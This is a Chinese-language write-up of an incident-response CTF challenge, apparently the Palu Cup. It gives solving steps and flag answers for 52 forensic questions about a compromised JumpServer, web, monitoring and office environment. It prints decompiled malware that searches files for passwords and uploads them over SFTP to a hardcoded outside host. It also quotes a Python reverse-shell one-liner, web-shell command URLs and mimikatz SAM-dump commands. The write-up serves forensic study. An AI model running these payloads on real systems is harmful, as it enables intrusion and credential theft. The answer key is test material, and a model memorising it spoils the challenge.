1.找到JumpServer堡垒机中flag标签的值。
访问后台http://192.168.20.123:8080,账号密码admin/Network@2020
在更多选项中标签里找到flag
[BrYeaVj54009rDIZzu4O]
2.提交攻击者第一次登录时间。
试了几个不对,然后准备试一个很特别的,没想到就是
[2024/04/11/14:21:18]
3.提交攻击者源IP。
在jumpserver的资产详情中找到ip
[192.168.1.4]
4.提交攻者使用的cve编号。
攻击者登陆后使用了作业模块,联系到最近刚出的jumpserver的两个新漏洞,拿下
[CVE-2024-29201]
5.提交攻击者留在Web服务器上的恶意程序的32位小写md5值。
在root下有一个home,一开始看到了放vt上看没毒就以为不是这个文件,后来发现在jumpserver上出题人计算了这个文件的hash就觉的不简单。
导出
[84413332e4e7138adc5d6f1f688ddd69]
6.分析恶意程序连接地址和密码。
第一次知道linux的python程序也能用unpacker
甚至版本,那就在线吧
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10
import os
import paramiko
from getpass import getpass
def search_in_files(directory, search_text):
pass
# WARNING: Decompyle incomplete
def ssh(local_file_path, remote_file_path):
hostname = '82.157.238.111'
port = 22
username = 'root'
password = '1qaz@WSX3edc'
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, port, username, password)
sftp = client.open_sftp()
sftp.put(local_file_path, remote_file_path)
sftp.close()
client.close()
print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')
search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)
[e695461c231aee4ed46b201efca18ff8-7da188c2e2d83e38b7d9e75e500f1af8]
7.提交存在反序列化漏洞的端口。
在WAF中找到shell路径和密码,查看当前网络开发情况
http://192.168.20.121/?123=system(%27netstat%20-anpt%27);
发现有7001,8080,测试后8080为反序列化漏洞的端口
[8080]
8.提交攻击者使用的后门路由地址。
在jumpserver里的记录里面发现cat了app.py
尝试提交/api/system的答案,对的
[948c4425bad48511fd6281d345ee69a1]
9.提交dnslog反弹域名。
发现flask文件夹下有一个log.txt
提交0vqkht.dnslog.cn答案不对,往后找到还有0vqkht.palu.cn
[86fedf00e173a0d531be569028fc1f6e]
10.提交第一次扫描器使用时间。
在上面找到log日志,可以发现间隔时间非常之短,有没有可能就是扫描器呢?
没想到对了…这也算扫描器
[2024/04/15/02:26:59]
11.提交攻击者反弹shell使用的语言。
在log日志找到python
[23eeeb4347bdd26bfc6b7ee9a3b755dd]
12.提交攻击者反弹shell的ip。
同上图
[82.157.238.174]
13.提交攻击者留下的账号。
[palu.com]
14.提交攻击者的后门账户密码。
用dg打开然后看shadow
猜测能用rockyou爆破
密码123123
[4297f44b13955235245b2497399d7a93]
15.提交测试数据条数。
看mysql1,5条
[e4da3b7fbbce2345d7772b0674a318d5]
16.请提交攻击者留下的信息。
在/var/log/nginx下想查看日志的时候,发现一个hack文件
flag{hi_palu_f10g}
17.请提交运维服务器上的恶意文件md5
在jumpserver上看到上传了个helloworld
找到在lib下,直接拷贝的镜像看不到lib文件
同时也计算了helloworld的hash,猜测可能是相关题目,用base64输出一下
拷贝出来解码,计算一下hash即可
[0fca0f847a45401c878d7a5303ddc1f8]
18.提交恶意文件的恶意函数。
不知道为什么不是haveadoor,答案是begingame
[ddd0599cda1fc289a617db148d75383b]
19.请提交攻击者恶意注册的恶意用户条数。
10
[d3d9446802a44259755d38e6d163e820]
20.请提交对博客系统的第一次扫描时间。
[2024/04/16/21:03:46]
21.提交攻击者下载的文件。
在WAF里发现下载了一个upload.zip
[upload.zip]
22.请提交攻击者第一次下载服务器文件的时间。
这题是做的倒数第7题,之前在做的时候找到log日志
这次是找到的jumpserver里也多次出现的other_vhosts_access
然后发现这里面的格式就是flag格式,尝试搜了一下upload.zip
[16/Apr/2024:09:03:52]
23.请提交攻击者留下的冰蝎马的文件名称。
用自带的后门查看一下
view-source:http://192.168.20.121/?123=system(%27cat%20./api/nidewen.php%27);
名称nidewen.php
[nidewen.php]
24.提交冰蝎的链接密码。
通过搜索可知,该密钥为连接密码32位md5值的前16位
秘钥1be873048db838ac
…,再来试试rockyou.txt字典,也不行,留着了。
Github 搜索,启动!
[nidewen]
25.提交办公区存在的恶意用户名。
登录时一共两个账号,一个administrator,另一个就是hacker
[hacker]
26.提交恶意用户密码到期时间。
cmd管理员运行net user hacker
不过这题在jumpserver里看操作记录视频回放也能看到
[2024/5/28/21:40:37]
27.请对办公区留存的镜像取证并指出内存疑似恶意进程。
windows,好,winhex导出
windows10是吧,volatility3启动
发现.hack.ex
[.hack.ex]
28.请指出该员工使用的公司OA平台的密码。
在查看内存文件的时候,发现用户叫qiyue
我有七月师傅的好友,然后在我印象里他应该不在这个团队
并且这个.hack.ex我有印象
google搜了一下“".hack.ex" “CTF””
https://blog.****.net/qq_22406677/article/details/135001795
不过网上只有答案没有wp。
既然这样我就不用vol3来做了
很轻易再次证明和本次PC1没有关系。
然后iehistory一下发现访问过一个password.txt,filescan+dumpfiles导出
密码liuling7541
[liuling7541]
29.攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么。
用多个命令来查看基本信息,在查看剪贴板的时候发现一个文件h4ck3d!
[h4ck3d!]
30.请提交该计算机中记录的重要联系人的家庭住址。
找Contact
王总一看就很重要
不愧是王总,秋水省雁荡市碧波区千屿山庄1号
[秋水省雁荡市碧波区千屿山庄1号]
31.请提交近源靶机上的恶意文件哈希。
打开电脑自动打开开始菜单的一个文件夹,猜测为恶意文件,使用windows自带的命令计算hash
[a7fcd0b15a080167c4c2f05063802a6e]
32.提交恶意程序的外联地址。
在虚拟机中安装vmware-tools,拖出来之后上传到vt
https://www.virustotal.com/gui/file/9f6ae95b5540d0d6c60e942fa68dee44b2781c58da3f21321f18b8384ab41084
找到这个CN的地址
[101.78.63.44]
33.提交攻击者使用内网扫描工具的哈希。
能够在记录里发现使用了fscan
发现路径为/bin
用md5sum计算一下即可
view-source:http://192.168.20.121/?123=system(%22md5sum%20/bin/fscan%22);
[1facdcd05c43ba4d37274dffc90b6d4e]
34.请提交攻击者在站点上留下的后门密码。
第7题提到了密码是123
[202cb962ac59075b964b07152d234b70]
35.请提交攻击者在数据库留下的信息。
直接连上mysql1
[flag{hack_palu}]
36.提交攻击者在监控服务器上留下的dcnlog地址。
[palu.dcnlog.cn]
37.提交监控服务器上恶意用户的上一次登录时间。
搜索如何登录zabbix,找到http://192.168.20.12/zabbix/
顺便百度也给出来默认账号密码是Admin/zabbix
在用户处查看到最后一次登录时间
[2024/04/17/01:32:44]
38.提交监控服务器上遗留的反弹shell地址和端口。
见36的第6个命令,base解一下得到
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.183.110.12",7890));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
[154.183.110.12:7890]
当然在平台上看也是可以的
39.提交恶意钓鱼文件的哈希。
在做45题时是搜索到了一个帕鲁杯初稿文件,猜测过会不会是钓鱼文档,测试后发现能提交
[da75025ff7f3b6baa27f5913c1c83063]
!40.提交恶意文件外连IP。
不会,尝试了翻事件管理器中的安全日志只出现了两个IP都试过了不对。
41.提交被恶意文件钓鱼使用者的姓名。
[陈琚鹭]
42.提交攻击者留下的信息。
看jumpserver
找视频
flag{2024-04-17-hi}
43.提交恶意用户数量。
在PC2上,打开cmd执行net user
一共49个
[f457c545a9ded88f18ecee47145a72c0]
44.请提交员工集体使用的密码。
使用winhex将SAM与SYSTEM导出
导出后使用mimikatz
sekurlsa::minidump SYSTEM
lsadump::sam /sam:SAM /system:SYSTEM
随便选一个看看
能够发现这个NTLM与administrator的NTLM是同一个,那么所有用户的密码都是administrator的密码
[Network@2020]
45.提交加密文件的哈希。
发现上传了一个docx文件,于是乎使用everything去搜一下
误打误撞找到加密文件
[2bf71a0d6d4e70cec7602da2b653e2ab]
46.提交被攻击者加密的内容明文。
脚本见crypto题目
[2024ispassword]
47.请提交符合基线标准的服务器数量。
不知道,我理解的就是6台机器里面标准的数量,1-6都不对,最后猜的0对了
[cfcd208495d565ef66e7dff9f98764da]
48.提交办公区的恶意文件哈希。
在jumpserver的会话中发现PC2上传了一个文件palucomeyi1.exe
传一个everything上去搜
算一下hash
[5232a191eb2913337e0a93b0a990f2a2]
49.提交恶意回连端口。
使用unpacker
然后uncompyle6
结果如下:
# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 2.7.18 (default, Jul 1 2022, 10:30:50)
# [GCC 11.2.0]
# Embedded file name: palucomeyi1.py
#[此处省略400行由于反编译导致的无关代码]
Instruction context:
L. 13 86 LOAD_FAST 'file_path'
88 LOAD_FAST 'search_text'
90 BUILD_TUPLE_2 2
92 POP_BLOCK
-> 94 ROT_TWO
96 BEGIN_FINALLY
98 WITH_CLEANUP_START
100 WITH_CLEANUP_FINISH
102 POP_FINALLY 0 ''
104 ROT_TWO
106 POP_TOP
108 ROT_TWO
110 POP_TOP
112 RETURN_VALUE
114_0 COME_FROM 84 '84'
114 POP_BLOCK
116 BEGIN_FINALLY
118_0 COME_FROM_WITH 66 '66'
118 WITH_CLEANUP_START
120 WITH_CLEANUP_FINISH
122 END_FINALLY
124 JUMP_BACK 24 'to 24'
import os, paramiko
from getpass import getpass
def search_in_files--- This code section failed: ---
L. 6 0 LOAD_GLOBAL os
2 LOAD_METHOD walk
4 LOAD_FAST 'directory'
6 CALL_METHOD_1 1 ''
8 GET_ITER
10 FOR_ITER 128 'to 128'
12 UNPACK_SEQUENCE_3 3
14 STORE_FAST 'root'
16 STORE_FAST 'dirs'
18 STORE_FAST 'files'
L. 7 20 LOAD_FAST 'files'
22 GET_ITER
24_0 COME_FROM 36 '36'
24 FOR_ITER 126 'to 126'
26 STORE_FAST 'file'
L. 8 28 LOAD_FAST 'file'
30 LOAD_METHOD endswith
32 LOAD_STR '.txt'
34 CALL_METHOD_1 1 ''
36 POP_JUMP_IF_FALSE 24 'to 24'
L. 9 38 LOAD_GLOBAL os
40 LOAD_ATTR path
42 LOAD_METHOD join
44 LOAD_FAST 'root'
46 LOAD_FAST 'file'
48 CALL_METHOD_2 2 ''
50 STORE_FAST 'file_path'
L. 10 52 LOAD_GLOBAL open
54 LOAD_FAST 'file_path'
56 LOAD_STR 'r'
58 LOAD_STR 'utf-8'
60 LOAD_STR 'ignore'
62 LOAD_CONST ('encoding', 'errors')
64 CALL_FUNCTION_KW_4 4 '4 total positional and keyword args'
66 SETUP_WITH 118 'to 118'
68 STORE_FAST 'f'
L. 11 70 LOAD_FAST 'f'
72 LOAD_METHOD read
74 CALL_METHOD_0 0 ''
76 STORE_FAST 'contents'
L. 12 78 LOAD_FAST 'search_text'
80 LOAD_FAST 'contents'
82 COMPARE_OP in
84 POP_JUMP_IF_FALSE 114 'to 114'
L. 13 86 LOAD_FAST 'file_path'
88 LOAD_FAST 'search_text'
90 BUILD_TUPLE_2 2
92 POP_BLOCK
94 ROT_TWO
96 BEGIN_FINALLY
98 WITH_CLEANUP_START
100 WITH_CLEANUP_FINISH
102 POP_FINALLY 0 ''
104 ROT_TWO
106 POP_TOP
108 ROT_TWO
110 POP_TOP
112 RETURN_VALUE
114_0 COME_FROM 84 '84'
114 POP_BLOCK
116 BEGIN_FINALLY
118_0 COME_FROM_WITH 66 '66'
118 WITH_CLEANUP_START
120 WITH_CLEANUP_FINISH
122 END_FINALLY
124 JUMP_BACK 24 'to 24'
126 JUMP_BACK 10 'to 10'
Parse error at or near `ROT_TWO' instruction at offset 94
def ssh(local_file_path, remote_file_path):
hostname = '192.168.20.123'
port = 22
username = 'root'
password = 'Network@2020'
client = paramiko.SSHClient
client.set_missing_host_key_policyparamiko.AutoAddPolicy
client.connect(hostname, port, username, password)
sftp = client.open_sftp
sftp.putlocal_file_pathremote_file_path
sftp.close
client.close
print(f"File {local_file_path} uploaded to {remote_file_path} on {hostname}")
flag = 'flag{234567uyhgn_aiduyai}'
search_directory = '/'
search_for_text = 'passwod'
a, b = search_in_files(search_directory, search_for_text)
ssh(a, b)
端口22
[22]
50.提交恶意程序中的flag。
如上
flag{234567uyhgn_aiduyai}
51.提交恶意文件中的search_for_text内容。
如上上
[passwod]
!52.提交web服务器上攻击者修改后的root密码。
这个是真的一点思路没有